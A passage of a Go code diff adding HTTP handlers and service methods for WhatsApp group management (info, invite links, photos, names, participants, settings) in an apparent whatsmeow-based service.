+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/info [post]
+func (g *groupHandler) GetGroupInfo(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.GetGroupInfoStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJID is required"})
+		return
+	}
+
+	resp, err := g.groupService.GetGroupInfo(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": resp})
+}
+
+// Get group invite link
+// @Summary Get group invite link
+// @Description Get group invite link
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.GetGroupInviteLinkStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/invitelink [post]
+func (g *groupHandler) GetGroupInviteLink(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.GetGroupInviteLinkStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJID is required"})
+		return
+	}
+
+	resp, err := g.groupService.GetGroupInviteLink(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": resp})
+}
+
+// Set group photo
+// @Summary Set group photo
+// @Description Set group photo
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.SetGroupPhotoStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/photo [post]
+func (g *groupHandler) SetGroupPhoto(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.SetGroupPhotoStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJID is required"})
+		return
+	}
+
+	if data.Image == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "image is required"})
+		return
+	}
+
+	resp, err := g.groupService.SetGroupPhoto(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": resp})
+}
+
+// Set group name
+// @Summary Set group name
+// @Description Set group name
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.SetGroupNameStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/name [post]
+func (g *groupHandler) SetGroupName(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.SetGroupNameStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJID is required"})
+		return
+	}
+
+	if data.Name == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "name is required"})
+		return
+	}
+
+	err = g.groupService.SetGroupName(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Set group description
+// @Summary Set group description
+// @Description Set group description
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.SetGroupDescriptionStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/description [post]
+func (g *groupHandler) SetGroupDescription(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.SetGroupDescriptionStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJID is required"})
+		return
+	}
+
+	// Description can be empty to clear the group description
+	// No validation needed for Description field
+
+	err = g.groupService.SetGroupDescription(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Create group
+// @Summary Create group
+// @Description Create group
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.CreateGroupStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/create [post]
+func (g *groupHandler) CreateGroup(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.CreateGroupStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupName == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupName is required"})
+		return
+	}
+
+	if len(data.Participants) < 1 {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "participants are required"})
+		return
+	}
+
+	group, err := g.groupService.CreateGroup(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": group})
+}
+
+// Update participant
+// @Summary Update participant
+// @Description Update participant
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.AddParticipantStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/participant [post]
+func (g *groupHandler) UpdateParticipant(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.AddParticipantStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID.String() == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJid is required"})
+		return
+	}
+
+	if data.Action == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "action is required"})
+		return
+	}
+
+	if len(data.Participants) < 1 {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "participants are required"})
+		return
+	}
+
+	err = g.groupService.UpdateParticipant(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Get my groups
+// @Summary Get my groups
+// @Description Get my groups
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "success"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/myall [get]
+func (g *groupHandler) GetMyGroups(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	groups, err := g.groupService.GetMyGroups(instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": groups})
+}
+
+// Join group link
+// @Summary Join group link
+// @Description Join group link
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.JoinGroupStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/join [post]
+func (g *groupHandler) JoinGroupLink(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.JoinGroupStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Code == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "code is required"})
+		return
+	}
+
+	err = g.groupService.JoinGroupLink(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Leave group
+// @Summary Leave group
+// @Description Leave group
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.LeaveGroupStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/leave [post]
+func (g *groupHandler) LeaveGroup(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.LeaveGroupStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID.String() == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJid is required"})
+		return
+	}
+
+	err = g.groupService.LeaveGroup(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Update group settings
+// @Summary Update group settings
+// @Description Update group settings (announcement, not_announcement, locked, unlocked, approval_on, approval_off, admin_add, all_member_add)
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.UpdateGroupSettingsStruct true "Group data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/settings [post]
+func (g *groupHandler) UpdateGroupSettings(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *group_service.UpdateGroupSettingsStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.GroupJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "groupJid is required"})
+		return
+	}
+
+	if data.Action == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "action is required"})
+		return
+	}
+
+	err = g.groupService.UpdateGroupSettings(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+func NewGroupHandler(
+	groupService group_service.GroupService,
+) GroupHandler {
+	return &groupHandler{
+		groupService: groupService,
+	}
+}

whatsapp-service/pkg/group/service/group_service.go

@@ -0,0 +1,653 @@
+package group_service
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"time"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"agentdeck-whatsapp-service/pkg/utils"
+	whatsmeow_service "agentdeck-whatsapp-service/pkg/whatsmeow/service"
+	"github.com/gin-gonic/gin"
+	"github.com/vincent-petithory/dataurl"
+	"go.mau.fi/whatsmeow"
+	"go.mau.fi/whatsmeow/types"
+)
+
+type GroupService interface {
+	ListGroups(instance *instance_model.Instance) ([]*types.GroupInfo, error)
+	GetGroupInfo(data *GetGroupInfoStruct, instance *instance_model.Instance) (*types.GroupInfo, error)
+	GetGroupInviteLink(data *GetGroupInviteLinkStruct, instance *instance_model.Instance) (string, error)
+	SetGroupPhoto(data *SetGroupPhotoStruct, instance *instance_model.Instance) (string, error)
+	SetGroupName(data *SetGroupNameStruct, instance *instance_model.Instance) error
+	SetGroupDescription(data *SetGroupDescriptionStruct, instance *instance_model.Instance) error
+	CreateGroup(data *CreateGroupStruct, instance *instance_model.Instance) (gin.H, error)
+	UpdateParticipant(data *AddParticipantStruct, instance *instance_model.Instance) error
+	UpdateGroupSettings(data *UpdateGroupSettingsStruct, instance *instance_model.Instance) error
+	GetGroupRequestParticipants(data *GetGroupRequestParticipantsStruct, instance *instance_model.Instance) ([]EnrichedGroupParticipantRequest, error)
+	UpdateGroupRequestParticipants(data *UpdateGroupRequestParticipantsStruct, instance *instance_model.Instance) ([]types.GroupParticipant, error)
+	GetMyGroups(instance *instance_model.Instance) ([]types.GroupInfo, error)
+	JoinGroupLink(data *JoinGroupStruct, instance *instance_model.Instance) error
+	LeaveGroup(data *LeaveGroupStruct, instance *instance_model.Instance) error
+}
+
+type groupService struct {
+	clientPointer    map[string]*whatsmeow.Client
+	whatsmeowService whatsmeow_service.WhatsmeowService
+	loggerWrapper    *logger_wrapper.LoggerManager
+}
+
+type SimpleGroupInfo struct {
+	JID       types.JID `json:"jid"`
+	GroupName string    `json:"groupName"`
+}
+
+type GroupCollection struct {
+	Groups []SimpleGroupInfo
+}
+
+type GetGroupInfoStruct struct {
+	GroupJID string `json:"groupJid"`
+}
+
+type GetGroupInviteLinkStruct struct {
+	GroupJID string `json:"groupJid"`
+	Reset    bool   `json:"reset"`
+}
+
+type SetGroupPhotoStruct struct {
+	GroupJID string `json:"groupJid"`
+	Image    string `json:"image"`
+}
+
+type SetGroupNameStruct struct {
+	GroupJID string `json:"groupJid"`
+	Name     string `json:"name"`
+}
+
+type SetGroupDescriptionStruct struct {
+	GroupJID    string `json:"groupJid"`
+	Description string `json:"description"`
+}
+
+type CreateGroupStruct struct {
+	GroupName    string   `json:"groupName"`
+	Participants []string `json:"participants"`
+}
+
+type AddParticipantStruct struct {
+	GroupJID     types.JID                   `json:"groupJid"`
+	Participants []string                    `json:"participants"`
+	Action       whatsmeow.ParticipantChange `json:"action"`
+}
+
+type JoinGroupStruct struct {
+	Code string `json:"code"`
+}
+
+type LeaveGroupStruct struct {
+	GroupJID types.JID `json:"groupJid"`
+}
+
+type UpdateGroupSettingsStruct struct {
+	GroupJID string `json:"groupJid"`
+	Action   string `json:"action"` // announcement, not_announcement, locked, unlocked
+}
+
+type GetGroupRequestParticipantsStruct struct {
+	GroupJID string `json:"groupJid"`
+}
+
+// Estrutura enriquecida com PushName
+type EnrichedGroupParticipantRequest struct {
+	JID         types.JID `json:"JID"`
+	RequestedAt time.Time `json:"RequestedAt"`
+	PushName    string    `json:"PushName"`
+}
+
+type UpdateGroupRequestParticipantsStruct struct {
+	GroupJID     string   `json:"groupJid"`
+	Action       string   `json:"action"` // approve, reject
+	Participants []string `json:"participants"`
+}
+
+func (g *groupService) ensureClientConnected(instanceId string) (*whatsmeow.Client, error) {
+	client := g.clientPointer[instanceId]
+	g.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking client connection status - Client exists: %v", instanceId, client != nil)
+
+	if client == nil {
+		g.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] No client found, attempting to start new instance", instanceId)
+		err := g.whatsmeowService.StartInstance(instanceId)
+		if err != nil {
+			g.loggerWrapper.GetLogger(instanceId).LogError("[%s] Failed to start instance: %v", instanceId, err)
+			return nil, errors.New("no active session found")
+		}
+
+		g.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Instance started, waiting 2 seconds...", instanceId)
+		time.Sleep(2 * time.Second)
+
+		client = g.clientPointer[instanceId]
+		g.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking new client - Exists: %v, Connected: %v",
+			instanceId,
+			client != nil,
+			client != nil && client.IsConnected())
+
+		if client == nil || !client.IsConnected() {
+			g.loggerWrapper.GetLogger(instanceId).LogError("[%s] New client validation failed - Exists: %v, Connected: %v",
+				instanceId,
+				client != nil,
+				client != nil && client.IsConnected())
+			return nil, errors.New("no active session found")
+		}
+	} else if !client.IsConnected() {
+		g.loggerWrapper.GetLogger(instanceId).LogError("[%s] Existing client is disconnected - Connected status: %v",
+			instanceId,
+			client.IsConnected())
+		return nil, errors.New("client disconnected")
+	}
+
+	g.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Client successfully validated - Connected: %v", instanceId, client.IsConnected())
+	return client, nil
+}
+
+func (g *groupService) ListGroups(instance *instance_model.Instance) ([]*types.GroupInfo, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	resp, err := client.GetJoinedGroups(context.Background())
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error getting groups: %v", instance.Id, err)
+		return nil, err
+	}
+
+	gc := new(GroupCollection)
+	for _, info := range resp {
+		simpleGroup := SimpleGroupInfo{
+			JID:       info.JID,
+			GroupName: info.GroupName.Name,
+		}
+		gc.Groups = append(gc.Groups, simpleGroup)
+	}
+
+	return resp, nil
+}
+
+func (g *groupService) GetGroupInfo(data *GetGroupInfoStruct, instance *instance_model.Instance) (*types.GroupInfo, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return nil, errors.New("invalid group jid")
+	}
+
+	resp, err := client.GetGroupInfo(context.Background(), recipient)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error mute chat: %v", instance.Id, err)
+		return nil, err
+	}
+
+	return resp, nil
+}
+
+func (g *groupService) GetGroupInviteLink(data *GetGroupInviteLinkStruct, instance *instance_model.Instance) (string, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid group jid")
+	}
+
+	resp, err := client.GetGroupInviteLink(context.Background(), recipient, data.Reset)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error mute chat: %v", instance.Id, err)
+		return "", err
+	}
+
+	return resp, nil
+}
+
+func (g *groupService) SetGroupPhoto(data *SetGroupPhotoStruct, instance *instance_model.Instance) (string, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid group jid")
+	}
+
+	var fileData []byte
+
+	if strings.HasPrefix(data.Image, "http://") || strings.HasPrefix(data.Image, "https://") {
+		resp, err := http.Get(data.Image)
+		if err != nil {
+			g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Could not download image from URL", instance.Id)
+			return "", fmt.Errorf("failed to fetch image from URL: %v", err)
+		}
+		defer resp.Body.Close()
+
+		fileData, err = io.ReadAll(resp.Body)
+		if err != nil {
+			g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Could not read image data from URL", instance.Id)
+			return "", fmt.Errorf("failed to read image data: %v", err)
+		}
+
+	} else if strings.HasPrefix(data.Image, "data:image/jpeg;base64,") || strings.HasPrefix(data.Image, "data:image/png;base64,") {
+		dataURL, err := dataurl.DecodeString(data.Image)
+		if err != nil {
+			g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Could not decode base64 encoded data from payload", instance.Id)
+			return "", err
+		}
+		fileData = dataURL.Data
+	} else {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Image data should start with \"data:image/jpeg;base64,\" or be a valid URL", instance.Id)
+		return "", errors.New("image data should be a valid URL or start with \"data:image/jpeg;base64,\"")
+	}
+
+	pictureID, err := client.SetGroupPhoto(context.Background(), recipient, fileData)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error setting group photo: %v", instance.Id, err)
+		return "", err
+	}
+
+	return pictureID, nil
+}
+
+func (g *groupService) SetGroupName(data *SetGroupNameStruct, instance *instance_model.Instance) error {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return errors.New("invalid group jid")
+	}
+
+	g.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Attempting to set group name for %s", instance.Id, recipient.String())
+
+	err = client.SetGroupName(context.Background(), recipient, data.Name)
+	if err != nil {
+		// Log mais detalhado para erro 409
+		if strings.Contains(err.Error(), "409") || strings.Contains(err.Error(), "conflict") {
+			g.loggerWrapper.GetLogger(instance.Id).LogWarn("[%s] WhatsApp returned 409 conflict when setting name. This usually means: rate limit, duplicate content, or insufficient permissions", instance.Id)
+		}
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error setting group name: %v", instance.Id, err)
+		return err
+	}
+
+	g.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Group name set successfully", instance.Id)
+	return nil
+}
+
+func (g *groupService) SetGroupDescription(data *SetGroupDescriptionStruct, instance *instance_model.Instance) error {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return errors.New("invalid group jid")
+	}
+
+	g.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Attempting to set group description for %s", instance.Id, recipient.String())
+
+	// Use SetGroupTopic instead of SetGroupDescription (proper WhatsApp method)
+	// Empty strings for previousID and newID will be auto-filled by the library
+	err = client.SetGroupTopic(context.Background(), recipient, "", "", data.Description)
+	if err != nil {
+		// Log mais detalhado para erro 409
+		if strings.Contains(err.Error(), "409") || strings.Contains(err.Error(), "conflict") {
+			g.loggerWrapper.GetLogger(instance.Id).LogWarn("[%s] WhatsApp returned 409 conflict when setting description. This usually means: rate limit, duplicate content, or insufficient permissions", instance.Id)
+		}
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error setting group description: %v", instance.Id, err)
+		return err
+	}
+
+	g.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Group description set successfully", instance.Id)
+	return nil
+}
+
+func (g *groupService) CreateGroup(data *CreateGroupStruct, instance *instance_model.Instance) (gin.H, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	var participants []types.JID
+	for _, participant := range data.Participants {
+		recipient, ok := utils.ParseJID(participant)
+		participants = append(participants, recipient)
+		if !ok {
+			g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+			return nil, errors.New("invalid phone number")
+		}
+	}
+
+	resp, err := client.CreateGroup(context.Background(), whatsmeow.ReqCreateGroup{
+		Name:         data.GroupName,
+		Participants: participants,
+	})
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error create group: %v", instance.Id, err)
+		return nil, err
+	}
+
+	var failed []types.JID
+	for _, participant := range resp.Participants {
+		if participant.Error != 0 {
+			failed = append(failed, participant.JID)
+		}
+	}
+
+	var added []types.JID
+	infoResp, err := client.GetGroupInfo(context.Background(), resp.JID)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error get group info: %v", instance.Id, err)
+		return nil, err
+	}
+	for _, add := range infoResp.Participants {
+		added = append(added, add.JID)
+	}
+
+	response := gin.H{
+		"jid":    resp.JID,
+		"name":   resp.Name,
+		"owner":  resp.OwnerJID,
+		"added":  added,
+		"failed": failed,
+	}
+
+	return response, nil
+}
+
+func (g *groupService) UpdateParticipant(data *AddParticipantStruct, instance *instance_model.Instance) error {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	var participants []types.JID
+	for _, participant := range data.Participants {
+		recipient, ok := utils.ParseJID(participant)
+		participants = append(participants, recipient)
+		if !ok {
+			g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+			return errors.New("invalid phone number")
+		}
+	}
+
+	_, err = client.UpdateGroupParticipants(context.Background(), data.GroupJID, participants, data.Action)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error create group: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (g *groupService) GetMyGroups(instance *instance_model.Instance) ([]types.GroupInfo, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	resp, err := client.GetJoinedGroups(context.Background())
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error create group: %v", instance.Id, err)
+		return nil, err
+	}
+
+	var jid string = client.Store.ID.String()
+	var jidClear = strings.Split(jid, ".")[0]
+	jidOfAdmin, ok := utils.ParseJID(jidClear)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return nil, errors.New("invalid phone number")
+	}
+	var adminGroups []types.GroupInfo
+	for _, group := range resp {
+		if group.OwnerJID == jidOfAdmin {
+			adminGroups = append(adminGroups, *group)
+			_ = adminGroups
+		}
+	}
+
+	return adminGroups, nil
+}
+
+func (g *groupService) JoinGroupLink(data *JoinGroupStruct, instance *instance_model.Instance) error {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	_, err = client.JoinGroupWithLink(context.Background(), data.Code)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error create group: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (g *groupService) LeaveGroup(data *LeaveGroupStruct, instance *instance_model.Instance) error {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	err = client.LeaveGroup(context.Background(), data.GroupJID)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error leave group: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func (g *groupService) UpdateGroupSettings(data *UpdateGroupSettingsStruct, instance *instance_model.Instance) error {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating group jid", instance.Id)
+		return errors.New("invalid group jid")
+	}
+
+	// Validate action
+	validActions := map[string]bool{
+		"announcement":     true,
+		"not_announcement": true,
+		"locked":           true,
+		"unlocked":         true,
+		"approval_on":      true,
+		"approval_off":     true,
+		"admin_add":        true,
+		"all_member_add":   true,
+	}
+
+	if !validActions[data.Action] {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Invalid action: %s", instance.Id, data.Action)
+		return errors.New("invalid action. Valid actions: announcement, not_announcement, locked, unlocked, approval_on, approval_off, admin_add, all_member_add")
+	}
+
+	// Apply settings based on action
+	switch data.Action {
+	case "announcement":
+		err = client.SetGroupAnnounce(context.Background(), recipient, true)
+	case "not_announcement":
+		err = client.SetGroupAnnounce(context.Background(), recipient, false)
+	case "locked":
+		err = client.SetGroupLocked(context.Background(), recipient, true)
+	case "unlocked":
+		err = client.SetGroupLocked(context.Background(), recipient, false)
+	case "approval_on":
+		err = client.SetGroupJoinApprovalMode(context.Background(), recipient, true)
